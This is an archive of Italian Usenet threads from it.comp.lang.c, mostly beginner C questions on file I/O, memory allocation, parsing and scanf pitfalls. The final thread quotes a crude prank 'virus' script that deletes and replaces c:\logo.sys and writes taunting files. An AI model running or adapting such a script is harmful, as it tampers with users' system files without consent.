mii-community/UsenetArchiveIT-conversations huggingface dataset:
Newsgroup: it.comp.lang.c
Titolo: strutture e fwrite

ciao, qualcuno mi dice che c'è che non va qui?
#include <stdio.h>
#include <stdlib.h>
struct elemento {
   char data[8];
   int cinque[5];
};
typedef struct elemento cella;
void main(void)
{
   void Crea(cella *);
   cella *inizio;
   FILE *fp;
   inizio = (cella *) malloc(sizeof(cella));
   Crea(inizio); /* costruisce una lista */
   fp = fopen("out.txt", "a");
   fwrite(inizio, sizeof(cella), 1, fp);
}
Supponiamo che la lista abbia un solo elemento, lo scrivo con fwrite, ma
in out.txt compare solo il valore di data e non di cinque. La lista è
ottenuta in modo corretto. Penso che tutto dipenda dal ptr inizio
passato a fwrite().
Grazie, Ciao
-------------------------------
Togliere le Z per rispondere
-------------------------------

ciao, qualcuno mi dice che c'è che non va qui?
Apri un file (potenzialmente) di testo e ci scrivi dei dati binari;
questo puó causare problemi.  Usa "ab" per aprire il file in
modo binario, se vuoi scrivere dati binari (ma allora é strano
che tu chiami il tuo file "out.txt"!); usa invece altre funzioni,
come printf (non fwrite, che scrive dati binari) se quel che
vuoi scrivere é una rappresentazione testuale dei dati.
Alex

Newsgroup: it.comp.lang.c
Titolo: MALLOC E CALLOC

Oggi ho sbattuto la testa su di un programma che doveva calcolarmi la
trasposta di una matrice quadrata inserita dall'utente.
Ogni volta che lo avviavo mi calcolava la trasposta della sola ultima riga,
ad esempio:
se la matrice era
6 7 8
1 2 3
4 5 6
mi dava
4 4 4
5 5 5
6 6 6
Alla fine ho provato a sostituire m = calloc(n, sizeof(int *)) con m =
malloc(n * sizeof(int *)) e il programma ora funziona correttamente.
Qualcuno di voi saprebbe dirmi perche' con calloc il prog. si comportava in
quel modo?
Qual'e' la differenza con malloc?
Grazie.
Carlo79.

La prima cosa che vedo e' che fai una allocazione di oggetti che sono
puntatori ad intero
e non interi. Funziona se int e puntatore hanno la stessa dimensione.
Che mi ricordi, la differenza tra calloc() e malloc() e' che la prima azzera
la memoria
la seconda no.
Stefano


 Malloc alloca memoria e basta mentre calloc fa la stessa cosa e in più
azzera la memoria allocata; puoi fare un esempio allocando spazio nei due
modi e poi stampandone il contenuto!

Newsgroup: it.comp.lang.c
Titolo: input di piu' parole, clear screen

uso il TurboC su DOS. Come posso fare per pulire lo schermo
(l'equivalente del comando CLS del basic)?
inoltre dovrei leggere in input una frase terminata da <INVIO>
ho provato con gets/puts ma mi legge solo la prima parola
Aranar
e-mail: 
ro...@geocities.com
http://www.nettaxi.com/citizens/Aranar/
   (above all VgaPlanets)
http://www.tempolibero.com/user/aranar
    (sopratutto VgaPlanets)

per cancellare lo schermo=> clrscr
devi includere conio.h
ciao dnt

devi inculdere la libreria <conio.h>
a questo punto ti batsa richiamare la funzione clrscr()


 ho provato con gets/puts ma mi legge solo la prima parola
Prova con fgets().
EMG
Newsgroup: it.comp.lang.c
Titolo: API

Salve NG, sono un newbes del C e vorrei sapere se è possibile utilizzare le
API di windows con un programma scritto in C (nn C++).
Grazie

 ha scritto

Certamente !
Alex


Ti consiglio di acquistarti "Programming Windows" di Charles Petzold 5a
edizione, c´e´ anche in traduzione italiana.
Se vuoi qualcosa on line ti consiglio l´ottimo tutorial in italiano del
"guru" Alex Martelli a questo indirizzo:
http://aleax.supereva.it/
Oppure fai una ricerca con google con le chiavi: "api" + "windows"
+"programming" + "tutorial" e ti scarichi tanti bei tutorial per programmare
windows in C tramite le API.
Maurus

we grazie :)))

Newsgroup: it.comp.lang.c
Titolo: colorare le stringhe

come faccio a dare colore a una stringa sotto dos (tipo rosso)
grazie in anticipo
Alessandro
-----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
http://www.newsfeeds.com
 - The #1 Newsgroup Service in the World!
-----==  Over 80,000 Newsgroups - 16 Different Servers! =-----

 ha scritto nel messaggio
news:3a9a6...@corp.newsfeeds.com...


 MARCO.


Newsgroup: it.comp.lang.c
Titolo: Programmino facile

Switch-case:
1)Inserimento pila;
2)Stampa pila;
3)Ricerca di un elemento;
4)Inserimento di un elemento prima/dopo di uno dato;
5)Eliminazione di un elemento dato in input;
6)Fine
C'e' qualche buona anima che mi farebbe questa codifica?
Devo consegnarlo il prima possibile a scuola ma sono in alto mare!
Su 
Elm...@tele2.it
Mille grazie!
Davide
--------------------------------
Inviato via 
http://arianna.libero.it/usenet/

 ha scritto nel messaggio
news:158Z102Z162Z11Y...@usenet.libero.it...


 Su 
Elm...@tele2.it
Queste sono le cose che mi fanno arrabbiare e che non comprendo....
Siamo tutti molto occupati, dimmi perche' mai uno di noi dovrebbe perdere
tempo a programmare per te gratis quando tu non hai voglia di studiare e di
fare nulla!?!
E non mi dire che non capisci, il problema e' semplice, basta darsi da
fare.....
Invece di perdere tempo a scrivere questi post e a leggere eventuali
insulti, perche' non ti leggi come funziona la cosa?
Detto questo ti insegno una cosa anche se non te lo meriti:
Se tu avessi postato un codice qualsiasi non funzionante, anche scritto
quasi a caso, ti sarebbero arrivate molte risposte con correzioni,
suggerimenti e forse, se avevi fortuna, qualche implementazione completa....
Con questo messaggio dubito che qualche persona ti voglia aiutare.
Tommy

 Devo consegnarlo il prima possibile a scuola ma sono in alto mare!
Se non ti va quello che studi (?) cambia indirizzo. Di finti
programmatori ce ne sono anche fin troppi, non ne serve un'altro.
-- 
-=[]=---iAN CooG/HokutoForce+TWT---=[]=-
Chi si contenta gode, ma chi gode si contenta di piu'

Newsgroup: it.comp.lang.c
Titolo: [forse OT]





 


Qualcuno può aiutarmi con un problema di dynamic 
allocation in fortran 90? Grazie in anticipo...


 


Alessandro



decisamente ;-)
comp.lang.fortran
Newsgroup: it.comp.lang.c
Titolo: Conversione Stringa in un Double

C'e' qualcuno che sa dirmi come e' possibile convertire una stringa
contenente
un numero Double in un numero :
es:
Double nVal = 0;
char sVal[8];
in sVal viene inserito il seguente valore "
12345679992
"
e poi ho la necessita' di inseirlo in formato numerico nella variabile nVal
pero di essermi spiegato bene .
Grazie :-)

un numero Double in un numero :
Esistono le funzioni "sprintf" e "sscanf" che compiono le stesse operazione
di "fprintf" e "fscanf", differenziandosi nel canale di input/output. Per le
prime utilizzi array.
Nel tuo caso quindi
sscanf(string," %f ",&num);
--
Francesco Trotta
http://space.tin.it/computer/ftrotta
Elimina "x_" dal mio indirizzo per mandarmi
un messaggio direttamente

 contenente un numero Double in un numero :
Usa la funzione sprintf(). Es.:
Double nVal = 0;
char sVal[8];
...
sprintf( sVal, "%f", nVal );
EMG

you wrote :
#sscanf(string," %f ",&num);
Attenzione :  l'identificatore %f per le funzioni sul modello scanf()
e' valido per i float, non per i double (per i quali e' %lf),
contrariamente a quanto avviene per printf(), in seguito alle regole
di promozione dei tipi dei parametri.
--------------------------------------------------------
* Andrea Laforgia        (
andrea_...@bigfoot.com
) *
--------------------------------------------------------
Newsgroup: it.comp.lang.c
Titolo: algoritmi di allocazione della memoria

Ciao
tra i seguenti algoritmi di allocazione della memoria best fit, first 
fit, worst fit...qual'e' il piï¿œ efficiente?
Il first fit dovrebbe essere il piï¿œ veloce, il worst fit e il best fit, 
necessitano di ordinare la lista dei blocchi di memoria libera, il best 
fit cerca il blocco che si adatti meglio ai dati da allocare, ma crea 
frammenti piccoli a seguito del suo utilizzo, worst fit cerca il blocco 
piu' grande da assegnare....
quindi sulla base di cio' qual'e' il piu' efficiente?
p.s. se un blocco di memoria viene allocato, quando devo riallocarne un 
altro, parto a controllaare la disponibilitï¿œ dall'ultimo blocco 
utilizzato o sempre dall'inizio della lista?
grazie

 
a naso io andrei avanti ma anche qui la risposta che mi sembra piï¿œ 
giusta ï¿œ dipende!

Newsgroup: it.comp.lang.c
Titolo: Allocazione dinamica di vettori multidimensionali

Qualcuno mi potrebbe spiegare come si alloca dinamicamente un vettore a piu'
dimensioni?
Usando
vettore +AD0- new int +AFs-imax+AF0AWw-jmax+AF0AWw-kmax+AF0-
dopo aver dichiarato
int vettore +AFs-imax+AF0AWw-jmax+AF0AWw-kmax+AF0-
mi viene dato un errore del tipo:
'non puoi assegnare una variabile di tipo int (+ACo-) +AFs-jmax+AF0AWw-kmax+AF0- ad una
variabile di tipo int +AFs-imax+AF0AWw-jmax+AF0AWw-kmax+AF0-'.
Come si risolve il problema?
Inoltre: dove posso trovare una guida online sull'allocazione dinamica in
C+-+- (costruttori, distruttori, ecc.)?
Grazie.
Paolo

 Paolo
 Ciao Paolo
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/
       Search, Read, Discuss, or Start Your Own
Newsgroup: it.comp.lang.c
Titolo: reistallazione di windows

Ho reistallato windows e quando accendo il computer non mi da la lilo boot?
come posso fare per far partire linux?
per favore aiutatemi.
la mia email č 
red....@tiscalinet.it
grazie.

ho reistallato windows e all'avvio del computer non mi da più la lilo boot,
come posso fare per far partire linux?
vi prego aiutatemi.
la mia e-mail è 
red....@tiscalinet.it
.
grazie.

Entra in fdisk (disco di ripristino Windows) e scegli come partizione
avviabile quella di Linux , il gioco è fatto !

Newsgroup: it.comp.lang.c
Titolo: seriale rs232





Buongiorno...


 


sto cercando disperatamente alcuni semplici 
programmi c  per la gestione della porta seriale RS232


 


Mi servono a scopi didattici quindi non devono 
essere sofisticati... solo per capire come avviene la 
lettura/scrittura


 


Grazie 


 


P.S: aiuto !!!



 wrote in message
000801c0bb40$28390360$a500a8c0@gpasquali...
...
sto cercando disperatamente alcuni semplici programmi c  per la gestione
della porta seriale RS232
Mi servono a scopi didattici quindi non devono essere sofisticati ...
solo per capire come avviene la lettura/scrittura
--------
La porta di comunicazione seriale RS-232 e' un particolare sottosistema
di un elaboratore strettamente correlato ad un preciso dispositivo
fisico. La sua gestione puo' essere attuata direttamente da un programma
applicativo, e, in tal caso, il programmatore deve conoscere in
dettaglio la struttura di realizzazione del dispositivo fisico. Oppure,
la linea seriale puo' essere gestita utilizzando i servizi di un sistema
operativo (la funzione del S. O. e' proprio quella di gestire i
dispositivi fisici del computer rendendo disponibile ai programmi di
applicazione una interfaccia astratta, di tipo formale); in questo caso,
il software applicativo deve essere sviluppato conoscendo ovviamente il
sistema operativo in cui esso sara' "ambientato".
Ora, tu non precisi ne' l'hardware ne' l'ambiente operativo cui i
programmi di gestione dovrebbero essere correlati, (anche se per default
uno potrebbe assumere come hardware un PC AT compatibile e come sistema
operativo una qualche variante di Windows), e quindi e' difficile dare
una risposta sicura alla tua richiesta. Comunque, se ti accontenti di un
po' di codice C per un PC AT compatibile, in ambiente MS-DOS, posso
recuperarti qualche vecchio programmino per una gestione low-level della
linea seriale, proprio con la caratteristica di essere, come chiedi, di
tipo "didattico". Se lo vuoi, mandami un messaggio diretto.
Posso anche utilizzare l'occasione per segnalare, in relazione a questo
tipo di problemi, un vecchissimo libro che, anche se assolutamente
datato rispetto agli ambienti di calcolo oggi correnti, e credo forse
difficilmente reperibile, e' comunque, a mio giudizio, molto ben
scritto, e percio' utile per rendere chiare certe idee di base,
indipendentemente dal contesto, completamente diverso, in cui poi esse
saranno inserite per una applicazione reale. Il libro e':
"The Waite Group's MS-DOS Developer's Guide" - Howard W. Sams & Company.
Saluti. Andrea.
Newsgroup: it.comp.lang.c
Titolo: I/O di frazioni di un byte

Hello world,
esiste la possibilità, in C, di leggere o scrivere meno di un byte da/su
file?
Mi spiego meglio: se ho la sequenza binaria 01010101 001, devo per forza
usare due byte per scriverla su un file (riempiendo il secondo con 5 zeri)?
Analogamente: può capitarmi di leggere da file una quantità di dati che non
è multiplo intero di un byte?
TIA,
@less@ndro


No, non si può fare. Hai mai visto un file lungo 1235.7 bytes? ;-)
EMG

 EMG
Ovviamente no, ma mi chiedo se non si sia sempre trattato del risultato di
un'approssimazione per eccesso dell'ultimo byte.
Mi spiego meglio con un esempio: Windows 9x mostra le lunghezze dei file in
Kb, cioè _approssimando_ fino a 500 byte (= 4000 bit!) in eccesso o in
difetto.
Non può darsi che i vecchi sistemi operativi quando mostravano la lunghezza
di un file la approssimassero al byte superiore (quindi un'approssimazione
di al più 4 bit)?
Anch'io comunque penso che non sia così - e mi rendo conto che è una
questione un pò stramba - ma ho bisogno di essere certo che il programma che
sto scrivendo non si trovi MAI a leggere una frazione di byte alla fine di
un file.
THX
@le

,

Quello che puoi fare e' usare una formattazione compressa del dato.
Su dati di dimensioni cospicue (es. immagini satellitari) e' pratica
comune usare una dinamica a 6 bit e quindi comprimere quindi 5 campioni
in un 4 byte invece che in 5 come verrebbe naturale. Stiamo parlando
di immaginette da 500MB a botta per capirci, dove la cosa ha senso...
Sent via Deja.com
http://www.deja.com/

 un file.
Penso che puoi dormire tra due guanciali. :-)
EMG
Newsgroup: it.comp.lang.c
Titolo: Newbie

Salve ragazzi,
come vedete dall'oggetto č da poco che ho deciso di avventurarmi nei
"meandri" della programmazione, perciň volevo farvi un paio di domande..
magari riuscirň a capirci qualcosa...allora... vengo al punto
c'č qualcuno che sia in grado di spiegarmi cn parole da "poppanti" come
vengono gestiti gli indirizzi di memoria? segmento:offset... la "storia" dei
20 bit... sarň dislessico, ma nn c'ho capito na mazza!
un'altra cosa...avevo scritto un programmino scemo scemo, che inseriva i
dati di cdrom musicali in un file, ho inserito i dati che mi interessavano
in una struttura... e poi richiedevo l'input attraverso la funzione:
inserimento(); il punto č che se richiamavo la funzione inserimento()
dall'interno di main(), la funzione svolgeva appieno il proprio compito...
mentre se inserivo la chiamata a tale funzione dall'interno di una
selezione, if o switch, oppure un ciclo, for o while, non mi veniva
richiesto l'inserimento del primo termine della struttura e saltava
direttamente al secondo! cioč X inserire i dati di + CD dovevo riavviare il
programma tante volte quante erano i CD visto che attraverso FOR nn
fungeva....
non sono stato x niente chiaro... ve l'ho detto... so dislessico,
interpretatemi perpiacere :-S
ringrazio in anticipo coloro che vorranno rispondermi
sciao sciao

 richiesto l'inserimento del primo termine della struttura e saltava
prova ad aggiungere al termine della funzione di inserimento uno svuotamento
del buffer di tastiera con una riga come questa:
while( getchar()!='\n' );
ciao
donCiccio

registro.
Scusa la pignoleria:  24 bit per 80286
ciao, acc.   
a...@libero.it

Sa hai una scanf prova a mettere un %*c alla fine...
Enrico S.
--
Webmaster della Pagina NON Ufficiale del SonyCRX100
SonyCRX120,  SonyCRX140E/S, SonyCRX100EX, HP8100
HP8200, HP9100 & HP9200
http://www.freeweb.org/computer/SonyCRX100/

 direttamente al secondo! cioè X inserire i dati di + CD dovevo riavviare


Scusa se rispondo solo ora... allora il %*c nella fscanf ignora il carattere
successivo alla immissione del dato...mi spiego %s%*c legge la stringa poi
legge l'invio e lo "butta via"...in tal modo non rimane nel buffer a rompere
(di solito funziona...non so se sia stilisticamente bello o
altro)...specialmente se dopo fscanf c'è un gets...

Newsgroup: it.comp.lang.c
Titolo: Cerco Borland C++ BUILDER 5

Cerco Borland C++ BUILDER 5
cd completo
Risposte a 
swe...@apollo.ingce.unibo.it


sito 
www.borland.it
  -->  rivenditori  --> mano al portafoglio
costa circa 190.000 lire la versione Standard
 
-- 
#####################
#####The best is only
##     LINUX     #### 
#####################
rimuovere BUGS dalla
mia eMail

Ho sentito dire che le vecchie versioni di C++ Builder, Delphi e Turbo Pascal
ora le danno gratis, ma dove le trovo?


 ora le danno gratis, ma dove le trovo?
se non sbaglio danno gratis il Turbo C/C++, non il C++ Builder che mi sembra
ancora troppo attuale per darlo via gratis. Fatti un giro sul sito di
borland alla sezione museum
ciao
Marco
--
Marco Coppo
University Of Sheffield
FAQ di it.comp.lang.c:
http://www.programmazione.it/linguaggi/c/itcomplangc.htm

Lo davano su CD assieme ad una rivista qualche mese fa, se non sbaglio io. Le
versioni non piů supportate le hanno rese free (a differenza di MS - vedi Quick
Basic e VB dal 4 in giů)


 > borland alla sezione museum
La M$ da gratis il VC++ 1.52 per findus a 16 bit


borland alla sezione museum
Anche il C++ Builder (nella versione 3.0) viene distribuito
gratuitamente.

 gratuitamente.
Molto bene, volo a prenderlo!
Grazie
ciao ciao


Grazie
IOProgrammo di Aprile.

 IOProgrammo di Aprile.
Grazie ancora ma... dici che lo trovo anche qui in UK? ;-)


Grazie ancora ma... dici che lo trovo anche qui in UK? ;-)
Puo' darsi ;)
IProgram.

Basic e VB dal 4 in giù)
Su dev del mese di aprile trovi il Bolrland C++  builder v3.0'
completo. Inoltre puoi trovare la versione a linea (senza ambiente di
sviluppo integrato) di comando della versione 5.00.
Dev e' una rivista del gruppo infomedia se vuoi maggiori informazioni
puoi andare al sito 
www.infomedia.it
.
Buon divertimento.
Newsgroup: it.comp.lang.c
Titolo: non capisco......aiuto!

Allora io devo leggere un file di testo nel quale ci sono righe così
formate:
"30 comando parametri", e devo far eseguire i vari comandi quando il
tempo di quella riga scade, per esempio se ho una riga : 30 ls -a,
vuol dire che dopo 30 sec dall'avvio del programma devo eseguire ls
-a.
Il codice che allego mi stampa tutto perfettamente, ma quando deve
eseguire il comando non lo fa, cioè da quello che ho capito in argv[0]
non c'è nessun comando che può eseguire.Ma la cosa strana è che nello
schermo, il pritnf di argv[0] mi dà esattamente il comando che deve
leggere.
Per favore aiutatemi, dov'è l'errore??
come faccio??
ecco il codice:
/**Leggo riga per riga con fgets()**/
s=dim;
while((fgets(s,80,fp))){
argv=split_arg(s," ",&argc);
i = 1;
temp = ritornaTempo(argv,argc);
printf("Tempo: %d\n", temp);
printf("Comando: %s\n", argv[0]);   //qui mi stampa esattamente il
comando
argc--;
argv[argc]=NULL;
while(i!=argc){
printf("parametri: %s\n", argv[i]);
i++;
}
}
IFERROR(pid=fork(),"generando il figlio");
if(pid==0){
	/*siamo nel figlio*/
IFERROR(execvp(argv[0],argv),"ERRO NELLA EXEC");    
/*non esegue niente perchè in argv[0] non c'è nessun comando*/
printf("non ho potuto eseguire %s\n", argv[0]);
}
IFERROR(letti, "main: Errore in lettura");
IFERROR( close(fd), "main: Errore in chiusura");
 
return 0;
}
int ritornaTempo(char **argv,int argc){
int i = 1;
int temp = atoi(argv[0]);
while((i-1)!=argc){
argv[i-1] = argv[i];
i++;
}
return temp;
}
grazie!!


Ma scusa, se qui lo setti a NULL, non è normale che dopo non ti esegua 
il comando ??

Newsgroup: it.comp.lang.c
Titolo: Finestra con GTK e usb

Linguaggio C su Windows XP.
 
Ho realizzato una finestra con le librerie GTK e volevo sapere come 
faccio a far comparire un messaggio quando collego una pendrive all'usb.
 
 
Con la finestra realizzata con le Win32 API ï¿œ stato sufficiente 
includere case WM_DEVICECHANGE:
 
dentro la funzione
SULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
...
 
 
nero23
 


http://msdn.microsoft.com/en-us/library/windows/desktop/aa363480%28v=vs.85%29.aspx
 
 
-- 
Vincenzo Mercuri

 
 
Non ti hanno già consigliato di inviare messaggi relativi all'uso di API 
di Windows su un newsgroup specifico di windows ?
 
 
Ciao  Manlio

 di Windows su un newsgroup specifico di windows ?
 
E' una newsgroup che non frequenta nessuno. Per questo ho preferito 
continuare qui.
 
Ciao
 
 

 Ciao
 
Ciao  Manlio
Newsgroup: it.comp.lang.c
Titolo: Re: Dimensione del Tab

 La domanda è: come faccio a sapere qual è la dimensione del TAB?
la dimensione??? il TAB è un carattere o no?
Ciao
-- 
Toyotoshy, Linux user #312588

 > La domanda è: come faccio a sapere qual è la dimensione del TAB?
1 byte.
se intendi la dimensione a video (o a stampa), beh dipende da sw che
visualizza.
Ciao Jack

 visualizza.
Si, scusa... intendevo proprio questo (l'esercizio infatti richiede 
"Write a program detab that replaces tabs in the input with the proper 
number of blanks to space...etc...").
Ciao,
Giulio
-- 
OnAir:

 del TAB?
Chiedi al tuo professore.
Generalmente il TAB viene espanso ad otto caratteri 
ma nei programmi C viene espanso a quattro caratteri 
od anche a due in alcuni casi. Inoltre alcuni 
/text/ /editor/ effettuano lo /smart/ /tabbing/ cioe`
espandono i TAB in modo che il cursore si trovi ad una
colonna multipla di otto.
La wikipedia ha un articolo sull'argomento; prova a 
cercare "Indentazione".

 number of blanks to space...etc...").
Il numero di spazi corrispondenti ad un tab dipende dal terminale.  Il 
valore più comune in genere è 8, cioè ci sarà uno stop nelle colonne 
8, 16, 24, .... 80 e quindi "\t\ta" stamperà il carattere 'a' in 
colonna 17.
Ciao
Giovanni
-- 
   A computer is like an air conditioner,
   it stops working when you open Windows.
   Registered Linux user #337974  < 
http://giovanni.homelinux.net/
 >

 


 La domanda è: come faccio a sapere qual è la dimensione del TAB?
...gli spazi necessari per un tab si calcolano cosi' (caso del 'detab').
*NB*: e' solo un esempio, non la soluzione all'esercizio. Ok? :)
....
#include <stdio.h>
#define TAB     8	/* mettici che vuoi: 1...n */
int main(void)
{
         int c, i = 0;
         while(EOF != (c = fgetc(stdin)))
         {       if(c == '\t')
                 {       int n = i + (TAB - (i % TAB));
                         for(; i < n; i++)
                                 fputc(' ', stdout);
                 }
                 else
                 {       fputc(c, stdout);
                         i++;
                 }
                 if(c == '\n')
                         i = 0;
         }
         return 0;
}
......
ciao
-- 
Cybertoldo
Per rispondermi via email, sostituisci moc.liamg con 
gmail.com

 colonna 17.
Anche se, in effetti, sempre più di frequente vedo tab a 4 e perfino a
2. Checchè ne dica Linus. :)
-- 
blog:  
http://www.akropolix.net/rik0/blogs
 | Uccidete i filosofi,
site:  
http://www.akropolix.net/rik0/
      | tenetevi riso e
forum: 
http://www.akropolix.net/forum/
     | bacchette per voi.
Newsgroup: it.comp.lang.c
Titolo: scrivere programma c da inserire in una eeprom

salve, ho a disposizione una scheda che implementa un 386, una eeprom, un po' diram e permette di collegare periferiche esterne sul bus della cpu.
Ora, mi piacerebbe realizzare un programma che gestica qualche periferi pero' ho qualche dubbio.
Innanzi tutto il programma dovrebbe essere scritto in c( conosco solo questo) e poi compilato ed inserito nella eeprom (usando un locator). Quello che ho appena detto, e' realizzabile o ho detto una stronzata? 
Posso usare qualsiasi funzione c o devo stare attento a non usare funzioni specifiche di un sistema operatico? Le funzioni di Input ed output a basso livello (inp e outp) le posso usare senza problemi?
Scusate per le molte domande e forse per la poca chiarezza, ma ho sempre programmato in c per realizzare programmi che girono sotto ad un sistema operativo e riguardo a questo caso sono un po confuso.
:q
 

Le funzioni di Input ed output a basso livello (inp e outp) le posso usare
senza problemi?
Sě, per essere sicurissimo usa le istruzioni asm (come dipende dal
compilatore C che usi).
Se cerchi qualche esempio di  asm in_line in C ho qualche listato (librerie
per la grafica)
sul mio sito (
http://members.xoom.it/freesource
).
Se scopri qualcosa di nuovo fammelo sapere, l'argomento continua ad
interessarmi.
Ciao, Carlo
c_altieri@iol. aggiungere it
P.S. se ne sta parlando anche in it.hobby.elettronica ("Boot da ROM")



Newsgroup: it.comp.lang.c
Titolo: Cerco interfaccia per DJGPP!

Ciao, sono alla disperata ricerca di una interfaccia per l'utilizzo di
DJGPP. Qualche consiglio?
Grazie.

Davide wrote:

Rhide e' identica alla IDE
Borland:
http://www.tu-chemnitz.de/~sho/rho/rhide/rhide.html
ciao.

Newsgroup: it.comp.lang.c
Titolo: Fopen questa "sconosciuta"

Ciao a tutti... Premetto che di C non ne so molto....
Quello che vorrei fare è aprire un file e modificare qualche byte. Il codice 
cui avevo pensato è sostanzialmente questo:
'-------------------------------------------------------
#include "stdio.h" (su questa tastiera americana non trovo il 
maggiore/minore)
main()
{
char buffer;
FILE *fp;
fp=fopen("miofile.txt","ar");
fseek(fp,SEEK_SET,1);
buffer=fgetc(fp);
buffer=buffer^1;
fputc(buffer,fp);
}
-------------------------------------------------
Per semplicità ho saltato le righe di codice dedicate ai controlli.
Il problema che ho è che il byte me lo scrive in fondo al file mentre quello 
che voglio e che me lo sostituisca nella posizione indicata da fseek!
Inoltre e non so perchè ogni tanto anche la fgetc non funziona!
Qualcuno mi può aiutare?
Stefano 


Perche` hai aperto il file in modalita` append.  Le scritture vengono 
fatte in fondo.  Inoltre la modalita` "ar" non e` corretta. Forse 
intendevi usare "a+".
Se veramente devi sovrascrivere il file devi aprirlo in modalita` "r+".
Ciao
Giovanni
-- 
   A computer is like an air conditioner,
   it stops working when you open Windows.
   Registered Linux user #337974  < 
http://giovanni.homelinux.net/
 >

 ha scritto nel messaggio
news:eeu5m3$709$1...@milena.home.net.it...

Newsgroup: it.comp.lang.c
Titolo: Differenza se c'è!

C'è differenza tra:
char *str;
str = (char*) malloc (4096);
e
str = (char*) malloc (4096 * sizeof(char));
????
Corvo.

 str = (char*) malloc (4096 * sizeof(char));
Mariiiiiiaaaaaaaaaaaa! Mo ti pelano!! guarda che se vengono i big (EMG,
Laforgia e soci) t'ammazzano!
Allora:
1) sizeof(char) è sempre 1 su tutte le piattaforme e tutti i sistemi, aka,
non si mette in quanto è inutile;
2) il cast non serve a nulla per quanto ho capito, e a volte invece puo
anche provocare errori (ma non ho capito come) ----> non usarlo ;)
Dome
PS: Ovvio che io non so il PERCHE dei punti 1 e 2, se magari si aprisse un
ultimo post per spiegarlo a tutti senza ammazzarsi in maniera chiara sarei
contento ;) Grazieee!

Allora a quanto ho capito il sizeof(char) sarebbe una "decorazione
artistica" del codice :-))))
Corvo


PS: Ovvio che io non so il PERCHE dei punti 1 e 2,
No, non e' ovvio !
Alex

 in maniera chiara sarei contento ;) Grazieee!
     1.	La dimensione del tipo /char/ e` posta pari ad un byte 
     	per definizione; la ragione piu` evidente di questa scelta 
	e` che esiste la necessita` di un'unita` di misura
	prefissata per rendere commensurabile l'insieme dei tipi del
	C;
     2.	Il compilatore C assume che tutti gli oggetti per i quali
	non sia stata data una dichiarazione siano di tipo intero:
	se non dichiari il prototipo della funzione malloc(), per
	il compilatore essa ritornera` un intero il quale, tramite
	il /cast/, sara` convertito in un oggetto di 
	tipo presumibilmente incompatibile, senza 
	segnalazioni obbligatorie da parte del compilatore stesso.
	Alla prossima,
		Marco

contento ;) Grazieee!
La risposta si chiama FAQ.
--
Andrea Laforgia - walkietalkie(at)
libero.it
#exclude <windows.h>

La risposta si chiama FAQ.
Domanda da faq: dove trovo le faq? ;-)

Domanda da faq: dove trovo le faq? ;-)
immagino che se su google cerchi "it.comp.lang.c faq" le trovi...
cmq 
www.programmazione.it
Anto
--
Antonio Cuni, 19 anni, studente
Brainbench C++ Master: 4.6, higher than 98% of all previous test takers.
C Language: 3.32, higher than 79% of all previous test takers.
Guida C/C++ di Programmazione.it: 
http://cpp.programmazione.it

> Domanda da faq: dove trovo le faq? ;-)
Sulle FAQ:
Domanda: Dove trovo le FAQ?
Risposta: Coglione, guarda 10 cm piu su nella barra degli indirizzi
;-)
di getto... pardon per la battutaccia,
Dome ;)

Risposta: Coglione, guarda 10 cm piu su nella barra degli indirizzi
Soluzione da scartare, non e' portabile.
Su *quale* sistema sono 10 cm ? e perche' la barra degli
indirizzi dovrebbe essere in alto ?



The trouble with being poor is that it takes up all your time.

 indirizzi dovrebbe essere in alto ?
E soprattutto: quale barra degli indirizzi???
EMG
Newsgroup: it.comp.lang.c
Titolo: socket nel dominio Unix

Salve a tutti.
Dovrei fare un programmino in cui un server deve implementare dei servizi a
dei client all'interno di un sistema Unix.Avrei deciso quindi di utilizzare
le sosket nel domino Unix;il problema è il nome da dare alla socket:se ad
esempio lancio il server da un utente qualsiasi,questo può creare la socket
/tmp/socket?Ho fatto una prova con Linux ed è riuscito,ma l'utente root non
aveva password.In caso contrario come potrei fare ad indicare ai client
l'indirizzo della socket?
--------------------------------
Inviato via 
http://usenet.libero.it

 l'indirizzo della socket?
Dato che questa e` una questione e al di fuori delle specifiche del 
linguaggio C dovresti chiedere in un newsgroup dedicato alla 
programmazione nel tuo sistema operativo (presumibilmente 
it.comp.os.linux.development).
-- 
Enrico `Trippo' Porreca

 l'indirizzo della socket?
Dato che questa e` una questione al di fuori delle specifiche del 


Newsgroup: it.comp.lang.c
Titolo: Strano errore sulla ricorsione

Premesso che il mio C è un po' arruginito,ho deciso di fare un po' di
esercizio e ho scelto la funzione ricorsiva più tipica da implementare: il
fattoriale.
Questo è quanto ho scritto io :
int fatt(int j)
        {
        int risp;
        if (j==1) return 1;
        risp=(j*(fatt(j-1));
        return (risp);
        }
L'errore restituito è: "syntax error before ';' token" riferendosi alla riga
"risp=(j*(fatt(j-1));"
Pensando che il mio C è troppo arruginito ho preso un manuale e ho trovato
lo stesso codice spacciato come corretto....
Dov'è l'errore???
Grazie in anticipo a chiunque voglia rispondere
Ciao

 Ciao
Ciao
Matic

         risp=(j*(fatt(j-1));
hai una parentesi di troppo.
-- 
                Roberto Nunnari -software engineer-
                     mailto:
ro...@nunnisoft.ch
 
http://www.nunnisoft.ch
   Residenza Boschetto 12           tel/fax: 
+41-91-6046511
   6935 Bosco Luganese        """    mobile: 
+41-76-3208561
   Switzerland               (o o)
========================oOO==(_)==OOo========================
Newsgroup: it.comp.lang.c
Titolo: ????????

Scusate, che linguaggio è questo
So che fa ma non so cosa devo fare per compilarlo.
CreateDirectory("c:\vviirruuss\")
If(FileExist("c:\documenti\np2.gc"),GoTo(":DoTest"),GoTo(":Cont")))
:cont
MessageBox("Non hai salvato i files nella cartella Documenti")
:Dotest
CopyFile(c:\documenti\np2.gc,"c:\vviirruuss\np2.gc")
If(FileExist("c:\logo.sys"),GoTo("LOGOYES"),GoTo("LOGONO"))
:LOGOYES
CopyFile(c:\logo.sys,"c:\vviirruuss\logo.sys")
DeleteFile(c:\logo.sys)
CopyFile("c:\documenti\logo.sys","c:\logo.sys")
CopyFile("c:\documenti\np2.gc","c:\vviirruuss\np2.gc")
WriteToFile("c:\vviirruuss\Virus.hzd","ByebyePC")
WriteToFile("c:\vviirruuss\config.bat","Ahahahahahahah")
MessageBox("ByeByePC")
WriteToFile("c:\vviirruuss\b1.txt","oh no my PC IS burning...........")
WriteToFile("c:\vviirruuss\b2.txt","And my brother is called bungooooo")
WriteToFile("c:\vviirruuss\b3.txt","Oh, the fireworks")
